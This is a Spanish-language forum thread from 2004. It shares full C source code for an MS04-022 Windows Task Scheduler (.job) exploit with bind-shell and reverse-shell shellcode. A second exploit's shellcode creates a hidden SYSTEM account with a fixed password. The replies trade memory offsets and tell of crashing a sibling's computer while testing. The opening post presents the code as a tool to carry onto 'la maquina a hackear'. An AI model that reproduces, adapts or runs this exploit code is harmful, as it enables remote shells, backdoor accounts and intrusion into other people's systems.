Páginas: [1]
|
 |
|
Autor
|
Tema: Microsoft Windows XP Task Scheduler (.job) Universal Exploit (MS04-022) (Leído 1529 veces)
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Bueno, solo recordar que este exploit es un exploit LOCAL, es decir, lo tienes que subir a la maquina a hackear (o llevarlo en un disquete, en un CD, en un dispositivo USB, etc...). Las shellcodes son una bindshell y una reverse shell. Salu2 /* HOD-ms04022-task-expl.c: * * (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit * * Exploit version 0.1 coded by * * * .::[ houseofdabus ]::. * * * [at inbox dot ru] * ------------------------------------------------------------------- * Tested on: * - Internet Explorer 6.0 (SP1) (iexplore.exe) * - Explorer (explorer.exe) * - Windows XP SP0, SP1 * * ------------------------------------------------------------------- * Compile: * Win32/VC++ : cl HOD-ms04022-task-expl.c * Win32/cygwin: gcc HOD-ms04022-task-expl.c -lws2_32.lib * Linux : gcc -o HOD-ms04022-task-expl HOD-ms04022-task-expl.c * * ------------------------------------------------------------------- * Command Line Parameters/Arguments: * * HOD.exe <file> <shellcode> <bind/connectback port> [connectback IP] * * Shellcode: * 1 - Portbind shellcode * 2 - Connectback shellcode * * ------------------------------------------------------------------- * Example: * * C:\>HOD-ms04022-task-expl.exe expl.job 1 7777 * * (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit * * --- Coded by .::[ houseofdabus ]::. --- * * [*] Shellcode: Portbind, port = 7777 * [*] Generate file: expl.job * * C:\> * * start IE -> C:\ * * C:\>telnet localhost 7777 * Microsoft Windows XP [‚¥àá¨ï 5.1.2600] * (‘) Š®à¯®à æ¨ï Œ ©ªà®á®äâ, 1985-2001. * * C:\Documents and Settings\v.X\ ¡®ç¨© á⮫> * * ------------------------------------------------------------------- * * This is provided as proof-of-concept code only for educational * purposes and testing by authorized individuals with permission to * do so. * */
/* #define _WIN32 */
#include <stdio.h> #include <stdlib.h>
#ifdef _WIN32 #pragma comment(lib,"ws2_32") #include <winsock2.h>
#else #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #endif
unsigned char jobfile[] =
/* job header */ "\x01\x05\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" "\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00" "\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00" "\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00"
/* length */ "\x11\x11"
/* garbage C:\... */ /* unicode */ "\x43\x00\x3A\x00\x5C\x00\x61\x00" "\x2E\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00" "\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x1E\x82\xDC\x77"
/* 0x77dc821e - pop reg, pop reg, ret (advapi32.dll) */ /* for Win2k use jmp ebx or call ebx */
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" "\x80\x31\x31\x80" /* generate exception */
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00" "\x90\x90";
/* portbind shellcode */ unsigned char portbindsc[] = "\x90\x90" "\x90\x90\xEB\x06" /* overwrite SEH-frame */ "\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90"
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" "\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70" "\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6" "\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e" "\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83" "\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32" "\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59" "\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50" "\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50" "\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14" "\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc" "\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c" "\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33" "\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44" "\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d" "\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50" "\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55" "\x28\xff\x55\x0c";
/* connectback shellcode */ unsigned char connectbacksc[] = "\x90\x90" "\x90\x90\xEB\x06" /* overwrite SEH-frame */ "\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90"
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" "\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa" "\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02" "\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83" "\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83" "\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc" "\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8" "\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90" "\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50" "\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8" "\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56" "\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa" "\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab" "\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50" "\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff" "\x77\x38\xff\x55\x20\xff\x55\x0c";
/* use this form unsigned char sc[] = "\x90\x90" "\x90\x90\xEB\x06" - overwrite SEH-frame "\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90"
"... code ..."; */
unsigned char endofjob[] = "\x00\x00\x00\x00";
#define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300+16)) = (port) #define SET_CONNECTBACK_IP(buf, ip) *(unsigned long *)(((buf)+283+16)) = (ip) #define SET_CONNECTBACK_PORT(buf, port) *(unsigned short *)(((buf)+290+16)) = (port)
void usage(char *prog) { printf("Usage:\n"); printf("%s <file> <shellcode> <bind/connectback port> [connectback IP]\n", prog); printf("\nShellcode:\n"); printf(" 1 - Portbind shellcode\n"); printf(" 2 - Connectback shellcode\n\n"); exit(0); }
int main(int argc, char **argv) { unsigned short strlen; unsigned short port; unsigned long ip, sc; FILE *fp, *fp2;
printf("\n(MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit\n\n"); printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");
if (argc < 4) usage(argv[0]);
sc = atoi(argv[2]); if ( ((sc == 2) && (argc < 5)) || (sc > 2)) usage(argv[0]);
fp = fopen(argv[1], "wb"); if (fp == NULL) { printf("[-] error: can\'t create file: %s\n", argv[1]); exit(0); }
/* header & garbage */ fwrite(jobfile, 1, sizeof(jobfile)-1, fp); fseek(fp, 39*16, SEEK_SET);
port = atoi(argv[3]); printf("[*] Shellcode: "); if (sc == 1) { SET_PORTBIND_PORT(portbindsc, htons(port)); printf("Portbind, port = %u\n", port); fwrite(portbindsc, 1, sizeof(portbindsc)-1, fp); fwrite(endofjob, 1, 4, fp); fseek(fp, 70, SEEK_SET); /* calculate length (see header) */ strlen = (sizeof(jobfile)-1-71+sizeof(portbindsc)-1+4)/2; } else { ip = inet_addr(argv[4]); SET_CONNECTBACK_IP(connectbacksc, ip); SET_CONNECTBACK_PORT(connectbacksc, htons(port)); printf("Connectback, port = %u, IP = %s\n", port, argv[4]); fwrite(connectbacksc, 1, sizeof(connectbacksc)-1, fp); fwrite(endofjob, 1, 4, fp); fseek(fp, 70, SEEK_SET); /* calculate length (see header) */ strlen = (sizeof(jobfile)-1-71+sizeof(connectbacksc)-1+4)/2; }
printf("[*] Generate file: %s\n", argv[1]); fwrite(&strlen, 1, 2, fp); fclose(fp);
return 0; }
|
|
|
|
|
En línea
|
|
|
|
Soul-edge
Desconectado
Mensajes: 15
|
Hola a el foro por wue soy nuevo en esto xD tengo una duda acerca del exploit: este exploit es solo para la version en ingles no? es que me parecio leer por ahi que era solo para la inglesa, y al compilarlo sin warnings y sin errores lo ejecute en un pc donde tengo Windows xp sp1 en español y al intentar conectarme con el netcat nada.
PD: en dev-c++ compila sin problemas
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
El exploit creo que es para una version china o japonesa.
Por lo menos, el offset: \x1E\x82\xDC\x77 (77DC821E) no corresponde a nada en la libreria advapi32.dll en español.
He estado buscando la cadena que dice el exploit (pop registro, pop registro, retn) pero no encuentro esas 3 instrucciones seguidas en esa DLL.... (para XP)
Ahora toi probando los offsets en Win 2k SP4 español, a ver si funciona....
Salu2
|
|
|
|
|
En línea
|
|
|
|
®®
Colaborador
Desconectado
Mensajes: 5.168
|
mira esta linea si estas en win2k: for Win2k use jmp ebx or call ebx
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Ya, y he usado el offset 0x793c4a66 (kernel32.dll jmp ebx)
Y me cargao el win 2k xDDDDD
No para de salir errores de explorer.exe
Y estoy seguro de que no esta parcheado, asi que el error es del offset o el exploit esta mal.
A ver que pasa...
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Bueno, al menos lo he arreglado. Borrando el archivo "create_account.job" se soluciona el problema (por si a alguien le pasa). Lo malo es que tienes que parar el explorer, y borrar el archivo por cmd.exe.
Nota: El exploit crea un archivo .job (del programador de tareas) llamado create_account.job. Es obvio, que si el programador de tareas no esta funcionando en el sistema (como servicio) pues como que el exploit no funcionara seguro.
Para que la "victima" caiga, tiene que ejecutar el create_account.job, NO el exe que crea este archivo (el exe seria este source compilado)
Por lo demas, me da susto probar mas offsets xDDD, a ver si me cargo el win 2k de mi hermano pequeño y me cae una wena xDDDDDDD
Salu2
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Vale, soy tonto del culo.  Saque el offset en mi portatil que es un Win2k SP4, y lo pruebo en el pc de mi hermano que tiene un Win2k SP2. Al menos, acerte en que no estaba parcheado.... Joer joer joer. xDDDDDDDD
|
|
|
|
|
En línea
|
|
|
|
Linuxtron
Desconectado
Mensajes: 45
|
BUHAHAJAJA
Rojodos no tienes que ponerte asi.....xDDD
Por cierto nadie sabra x dnd anda el offset para winxp esp, no? (parece ser q este es para v china y jap)
Tonces funciona?
salu2
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Mi Win XP esta parcheado hasta las orejas (eso creo) por lo que no lo puedo probar aki.
Por eso lo pruebo en los Win2k.
De todas formas, he probado en el SP2 otro offset (el primero que te sale al hacer un findjmp kernel32.dll ebx) y tampoco va, se peta el explorer, y toca reinciar y borrar ese archivo en simbolo de sistema a prueba de fallos....
Se man kitao las ganas de probar mas xDDDDDD
Salu2
|
|
|
|
|
En línea
|
|
|
|
|
el-brujo
|
Por cierto nadie sabra x dnd anda el offset para winxp esp, no? (parece ser q este es para v china y jap) } lang[] = { { 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /* French */ { 0x09,"Utility manager","Windows Help","Open" }, /* English */ { 0x0a,"Administrador de utilidades", "Ayuda de Windows", "Abrir" }, /* Español */ { 0x03,"Administrador d'utilitats", "Ajuda de Windows", "Obre" } /* Català */ }; (Vic_Thor dixit)
|
|
|
|
|
En línea
|
Give peace a chance
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Brujo, perdona, pero eso no son offsets.
Los offsets tienen que ser direcciones de memoria (en este caso, tiene que empezar por 0x77XXXXXX, que son la mayoria de las DLLs)
Salu2
|
|
|
|
|
En línea
|
|
|
|
TaU
Desconectado
Mensajes: 174
|
Por cierto nadie sabra x dnd anda el offset para winxp esp, no? (parece ser q este es para v china y jap) } lang[] = { { 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /* French */ { 0x09,"Utility manager","Windows Help","Open" }, /* English */ { 0x0a,"Administrador de utilidades", "Ayuda de Windows", "Abrir" }, /* Español */ { 0x03,"Administrador d'utilitats", "Ajuda de Windows", "Obre" } /* Català */ }; (Vic_Thor dixit) Es más, eso lo postee yo en el foro de cyruxnet ( http://cyruxnet.org/foro/viewtopic.php?t=533), y es para el exploit de elevacion de privilegios del w2000 correspondiente al MS04-019 ( http://cyruxnet.org/archivo.php?20040713.3) salu2
|
|
|
|
« Última modificación: 05 Agosto 2004, 22:50 por TaU »
|
En línea
|
"Si no se vive como se piensa, se acabará pensando como se vive", Pep Figueres Revolucionario / Presidente de Costa Rica / Primer jefe de estado de la historia en abolir el ejército / Catalán. www.wadalbertia.org -<|¡^P
|
|
|
kill3r97
Desconectado
Mensajes: 133
|
Tengo este codigo para el ms04-022 pero no se para la cabecera dice que es para XP Sp1 pero uso windows 2k sp4 en español y no realmente el offset de este para que version es alguien me podria ayudar... /* ms04-022 exp for xp sp1 by sbaa 2004.7.20 create a system account IUSA password k911
*/ #include <stdio.h> #include <windows.h>
unsigned char job_head[] = "\x47\x04\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" "\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00" "\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00" "\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00";
unsigned char job_end[] = "\x00\x00\x00\x00\x04\x00\x44\x00\x3A\x00" "\x5C\x00\x00\x00\x07\x00\x67\x00\x75\x00\x65\x00\x73\x00\x74\x00" "\x31\x00\x00\x00\x00\x00\x00\x00\x08\x00\x03\x13\x04\x00\x00\x00" "\x00\x00\x01\x00\x30\x00\x00\x00\xD4\x07\x07\x00\x0F\x00\x00\x00" "\x00\x00\x00\x00\x0B\x00\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00";
unsigned char shellcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x42\x01\x80\x34\x0A\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x31\x99\x99\x99\xC3\x21\x95\x69" "\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5" "\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA" "\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED" "\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF" "\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A" "\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F" "\x97\x12\x49\xF3\x9A\xC0\x71\xBD\x99\x99\x99\xF1\x66\x66\x66\x99" "\xF1\x99\x89\x99\x99\xF3\x9D\x66\xCE\x6D\x22\x81\x69\x64\xE6\x10" "\x9A\x1A\x5F\x95\xAA\x59\xC9\xCF\x66\xCE\x61\xC9\x66\xCE\x65\xAA" "\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B" "\x77\xAA\x59\x5A\x71\xCA\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA" "\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xD1\xFC\xF8\xE9\xDA\xEB\xFC\xF8" "\xED\xFC\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xC9" "\xEB\xF6\xFA\xFC\xEA\xEA\x99" "\xFA\xF4\xFD\xB9\xB6\xFA\xB9\xF7\xFC\xED\xB9\xEC\xEA\xFC\xEB\xB9\xD0\xCC\xCA\xD8" "\xB9\xF2\xA0\xA8\xA8\xB9\xB6\xF8\xFD\xFD\xB9\xBF\xBF\xB9\xF7\xFC\xED\xB9\xF5\xF6" "\xFA\xF8\xF5\xFE\xEB\xF6\xEC\xE9\xB9\xF8\xFD\xF4\xF0\xF7\xF0\xEA\xED\xEB\xF8\xED" "\xF6\xEB\xEA\xB9\xD0\xCC\xCA\xD8\xB9\xB6\xF8\xFD\xFD\x99";
int main(int argc, char* argv[]) { char buf[40960]; int len=0,i=0; WORD len_name; FILE *fp; fp = fopen("create_account.job", "wb"); if(fp) { len=sizeof(job_head) - 1; memcpy(buf, job_head, len);
len_name=1024;
buf[len]=len_name/2%256+1; buf[len+1]=len_name/2/256; len=len+2; for(i=0;i<len_name/2;i++) { buf[len+i*2]=i%128?i%128:i/128+1; buf[len+i*2+1]=0x0; } memcpy(buf+len+518,"\x1e\x34\xc6\x77",4); memcpy(buf+len+534,"\xe9\x63\x03\x00\x00\x90",6); memcpy(buf+len+562,shellcode,sizeof(shellcode)-1); memcpy(buf+len+len_name, job_end, sizeof(job_end)-1);
fwrite(buf, 1, len+len_name+sizeof(job_end)-1, fp); fclose(fp);
} return 0; } [code/]
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Si buscas un poco, te daras cuenta que tiene el mismo offset que el exploit que puse yo.
Este exploit, como el que postee yo, solo rula en los XP chinos xD.
Salu2
|
|
|
|
|
En línea
|
|
|
|
|
Páginas: [1]
|
|
|
|